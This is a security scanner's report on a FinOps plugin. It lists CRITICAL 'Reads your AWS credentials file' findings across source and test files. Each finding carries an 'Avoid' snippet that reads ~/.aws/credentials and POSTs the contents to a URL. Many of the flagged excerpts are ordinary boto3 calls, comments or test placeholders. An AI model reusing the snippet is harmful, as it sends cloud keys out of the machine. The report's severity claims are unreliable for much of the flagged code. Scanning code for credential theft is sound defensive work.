ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/recommendations/bedrock_routing.py×6
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/recommendations/bedrock_routing.py· python
59return boto3.client(
60"ce",
61aws_access_key_id=creds["AccessKeyId"],
62aws_secret_access_key=creds["SecretAccessKey"],
63aws_session_token=creds["SessionToken"],
Occurrences
6 occurrences · first at L61, also L62, L63 +3 more
Show all 6 locations
Line
File
L61
src/finops/recommendations/bedrock_routing.py
L62
src/finops/recommendations/bedrock_routing.py
L63
src/finops/recommendations/bedrock_routing.py
L77
src/finops/recommendations/bedrock_routing.py
L78
src/finops/recommendations/bedrock_routing.py
L79
src/finops/recommendations/bedrock_routing.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/recommendations/textract_env.py×9
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=creds["AccessKeyId"],). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/recommendations/textract_env.py· python
46return boto3.client(
47"ce",
48aws_access_key_id=creds["AccessKeyId"],
49aws_secret_access_key=creds["SecretAccessKey"],
50aws_session_token=creds["SessionToken"],
Occurrences
9 occurrences · first at L48, also L49, L50 +6 more
Show all 9 locations
Line
File
L48
src/finops/recommendations/textract_env.py
L49
src/finops/recommendations/textract_env.py
L50
src/finops/recommendations/textract_env.py
L65
src/finops/recommendations/textract_env.py
L66
src/finops/recommendations/textract_env.py
L67
src/finops/recommendations/textract_env.py
L81
src/finops/recommendations/textract_env.py
L82
src/finops/recommendations/textract_env.py
L83
src/finops/recommendations/textract_env.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/security/oauth/aws.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (vault.store("AWS_ACCESS_KEY_ID", creds["accessKe…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/security/oauth/aws.py· python
111 
112vault = Vault.default()
113vault.store("AWS_ACCESS_KEY_ID", creds["accessKeyId"])
114vault.store("AWS_SECRET_ACCESS_KEY", creds["secretAccessKey"])
115vault.store("AWS_SESSION_TOKEN", creds["sessionCredentials"] if "sessionCredentials" in cred
… (37 chars elided on L115)
Occurrences
3 occurrences · first at L113, also L114, L115
Show all 3 locations
Line
File
L113
src/finops/security/oauth/aws.py
L114
src/finops/security/oauth/aws.py
L115
src/finops/security/oauth/aws.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/setup/cloud_infra.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (_print("Run 'aws configure' or set AWS_PROFILE /…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/setup/cloud_infra.py· python
155except Exception as e:
156_err(f"AWS credentials not found or invalid: {e}")
157_print("Run 'aws configure' or set AWS_PROFILE / AWS_ACCESS_KEY_ID", 1)
158return {}
159 
Occurrences
2 occurrences · first at L157, also L774
Show all 2 locations
Line
File
L157
src/finops/setup/cloud_infra.py
L774
src/finops/setup/cloud_infra.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/setup_scan.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (# machine whose only credential was ~/.aws/crede…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/setup_scan.py· python
253# AWS is not in PROVIDER_ENV: it is profiles and a default chain, not one
254# env var, so it needs the wizard's STS probe. Leaving it out meant a
255# machine whose only credential was ~/.aws/credentials was told "No
256# unconnected credentials found" by the command named connect, while
257# welcome on the same machine said "Found AWS credentials". Imported here,
Occurrences
1 occurrence · at L255
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/setup_wizard.py×17
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (vault.store("AWS_ACCESS_KEY_ID", access_key)). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/setup_wizard.py· python
354 
355role_arns = _prompt(" Role ARNs for additional accounts (comma-separated, or blank)")
356vault.store("AWS_ACCESS_KEY_ID", access_key)
357vault.store("AWS_SECRET_ACCESS_KEY", secret_key)
358vault.store("AWS_DEFAULT_REGION", region)
Occurrences
17 occurrences · first at L356, also L357, L587 +14 more
Show all 17 locations
Line
File
L356
src/finops/setup_wizard.py
L357
src/finops/setup_wizard.py
L587
src/finops/setup_wizard.py
L621
src/finops/setup_wizard.py
L627
src/finops/setup_wizard.py
L881
src/finops/setup_wizard.py
L881
src/finops/setup_wizard.py
L1168
src/finops/setup_wizard.py
L1196
src/finops/setup_wizard.py
L1199
src/finops/setup_wizard.py
L1234
src/finops/setup_wizard.py
L1235
src/finops/setup_wizard.py
L1260
src/finops/setup_wizard.py
L1261
src/finops/setup_wizard.py
L1270
src/finops/setup_wizard.py
L1271
src/finops/setup_wizard.py
L5523
src/finops/setup_wizard.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/tool_surface.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("aws": ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/tool_surface.py· python
670 
671_ENV_KEYS: dict[str, tuple[str, ...]] = {
672"aws": ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_PROFILE", "AWS_ROLE_ARNS"),
673"azure": ("AZURE_TENANT_ID", "AZURE_CLIENT_ID", "AZURE_SUBSCRIPTION_ID"),
674"gcp": ("GOOGLE_APPLICATION_CREDENTIALS", "GCP_SERVICE_ACCOUNT_KEY_PATH",
Occurrences
2 occurrences · first at L672, also L672
Show all 2 locations
Line
File
L672
src/finops/tool_surface.py
L672
src/finops/tool_surface.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/tools/attribution.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (if _srv.os.environ.get("AWS_ACCESS_KEY_ID") or _…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/tools/attribution.py· python
136errors: dict[str, str] = {}
137 
138if _srv.os.environ.get("AWS_ACCESS_KEY_ID") or _srv.os.environ.get("AWS_ROLE_ARNS"):
139try:
140role_arns = [a.strip() for a in _srv.os.environ.get("AWS_ROLE_ARNS", "").split(",") if a.str
… (5 chars elided on L140)
Occurrences
1 occurrence · at L138
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/finops/tools/aws.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (# AWS Identity Center (SSO) profiles that are co…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/finops/tools/aws.py· python
195connected_ids = {a.account_id for a in list_accounts() if a.account_id}
196 
197# AWS Identity Center (SSO) profiles that are configured in ~/.aws/config but
198# not logged in. A plain STS probe drops these silently, so surface them with
199# the exact `aws sso login` command instead of pretending they do not exist.
Occurrences
2 occurrences · first at L197, also L216
Show all 2 locations
Line
File
L197
src/finops/tools/aws.py
L216
src/finops/tools/aws.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256bd5edf80c5fd24a5…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/attribution/test_attribution_storage.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAFAK…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/attribution/test_attribution_storage.py· python
151rules.write_text(_RULES)
152monkeypatch.setenv("FINOPS_TAG_RULES", str(rules))
153monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAFAKEFAKEFAKE")
154monkeypatch.delenv("AWS_ROLE_ARNS", raising=False)
155mapper.reload_rules()
Occurrences
1 occurrence · at L153
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/connectors/test_aws_org_rollup.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (def _client(service, region_name=None, aws_acces…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/connectors/test_aws_org_rollup.py· python
89world.setdefault("calls", [])
90 
91def _client(service, region_name=None, aws_access_key_id=None, **_):
92if service == "sts":
93return _FakeSTS(world)
Occurrences
3 occurrences · first at L91, also L95, L95
Show all 3 locations
Line
File
L91
tests/connectors/test_aws_org_rollup.py
L95
tests/connectors/test_aws_org_rollup.py
L95
tests/connectors/test_aws_org_rollup.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/mcp_support.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.setenv("AWS_ACCESS_KEY_ID", "testing…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/mcp_support.py· python
109monkeypatch.setattr(boto3, "DEFAULT_SESSION", None)
110# Placeholders so botocore builds a client; nothing is ever signed with them.
111monkeypatch.setenv("AWS_ACCESS_KEY_ID", "testing")
112monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "testing")
113monkeypatch.setenv("AWS_DEFAULT_REGION", "us-east-1")
Occurrences
2 occurrences · first at L111, also L112
Show all 2 locations
Line
File
L111
tests/mcp_support.py
L112
tests/mcp_support.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/recommendations/test_sp_rate_blend.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (ce = boto3.client("ce", region_name="us-east-1",…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/recommendations/test_sp_rate_blend.py· python
47 
48def test_the_split_is_read_from_every_page_in_the_shape_botocore_documents(billed_stub):
49ce = boto3.client("ce", region_name="us-east-1", aws_access_key_id="testing",
50aws_secret_access_key="testing") # pragma: allowlist secret
51with billed_stub(ce) as stub:
Occurrences
2 occurrences · first at L49, also L50
Show all 2 locations
Line
File
L49
tests/recommendations/test_sp_rate_blend.py
L50
tests/recommendations/test_sp_rate_blend.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/recommendations/test_tag_scoped_coverage.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (return boto3.client("ce", region_name="us-east-1…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/recommendations/test_tag_scoped_coverage.py· python
26 
27def _ce():
28return boto3.client("ce", region_name="us-east-1", aws_access_key_id="testing",
29aws_secret_access_key="testing") # pragma: allowlist secret
30 
Occurrences
2 occurrences · first at L28, also L29
Show all 2 locations
Line
File
L28
tests/recommendations/test_tag_scoped_coverage.py
L29
tests/recommendations/test_tag_scoped_coverage.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_ai_cost_attribution_tool.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (for k in ("AWS_ACCESS_KEY_ID", "AWS_PROFILE", "O…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_ai_cost_attribution_tool.py· python
290def test_llm_key_advertises_it_and_aws_alone_does_not(monkeypatch):
291from finops import server, tool_surface
292for k in ("AWS_ACCESS_KEY_ID", "AWS_PROFILE", "OPENAI_API_KEY", "FINOPS_ALL_TOOLS",
293"FINOPS_FLAT_TOOLS", "ANTHROPIC_API_KEY"):
294monkeypatch.delenv(k, raising=False)
Occurrences
2 occurrences · first at L292, also L313
Show all 2 locations
Line
File
L292
tests/test_ai_cost_attribution_tool.py
L313
tests/test_ai_cost_attribution_tool.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_ambient_parity.py×5
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (default chain (env, ~/.aws/credentials, profiles…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_ambient_parity.py· python
2 
3nable was AWS-first by accident. AWS asked boto3, which resolves the whole
4default chain (env, ~/.aws/credentials, profiles, SSO, IMDS, ECS roles). Azure
5asked only whether three service-principal env vars were set. GCP asked only
6whether GOOGLE_APPLICATION_CREDENTIALS was set.
Occurrences
5 occurrences · first at L4, also L8, L32 +2 more
Show all 5 locations
Line
File
L4
tests/test_ambient_parity.py
L8
tests/test_ambient_parity.py
L32
tests/test_ambient_parity.py
L32
tests/test_ambient_parity.py
L33
tests/test_ambient_parity.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_anomaly_change_events.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (return boto3.client("cloudtrail", region_name=re…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_anomaly_change_events.py· python
44 
45def _client(region: str = "us-east-1"):
46return boto3.client("cloudtrail", region_name=region, aws_access_key_id="testing",
47aws_secret_access_key="testing") # pragma: allowlist secret
48 
Occurrences
2 occurrences · first at L46, also L47
Show all 2 locations
Line
File
L46
tests/test_anomaly_change_events.py
L47
tests/test_anomaly_change_events.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_anomaly_drilldown.py×4
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (return boto3.client("ce", region_name="us-east-1…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_anomaly_drilldown.py· python
33 
34def _ce():
35return boto3.client("ce", region_name="us-east-1", aws_access_key_id="testing",
36aws_secret_access_key="testing") # pragma: allowlist secret
37 
Occurrences
4 occurrences · first at L35, also L36, L297 +1 more
Show all 4 locations
Line
File
L35
tests/test_anomaly_drilldown.py
L36
tests/test_anomaly_drilldown.py
L297
tests/test_anomaly_drilldown.py
L298
tests/test_anomaly_drilldown.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_anomaly_root_cause.py×4
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (return boto3.client("ce", region_name="us-east-1…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_anomaly_root_cause.py· python
241 
242def _ce():
243return boto3.client("ce", region_name="us-east-1", aws_access_key_id="testing",
244aws_secret_access_key="testing") # pragma: allowlist secret
245 
Occurrences
4 occurrences · first at L243, also L244, L248 +1 more
Show all 4 locations
Line
File
L243
tests/test_anomaly_root_cause.py
L244
tests/test_anomaly_root_cause.py
L248
tests/test_anomaly_root_cause.py
L249
tests/test_anomaly_root_cause.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_audit_concurrency.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.setenv("AWS_ACCESS_KEY_ID", "testing…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_audit_concurrency.py· python
533[*handlers.BUILTIN_HANDLERS, ("before-call", _before_call)])
534monkeypatch.setattr(boto3, "DEFAULT_SESSION", None)
535monkeypatch.setenv("AWS_ACCESS_KEY_ID", "testing")
536monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "testing")
537monkeypatch.setenv("AWS_DEFAULT_REGION", "us-east-1")
Occurrences
2 occurrences · first at L535, also L536
Show all 2 locations
Line
File
L535
tests/test_audit_concurrency.py
L536
tests/test_audit_concurrency.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
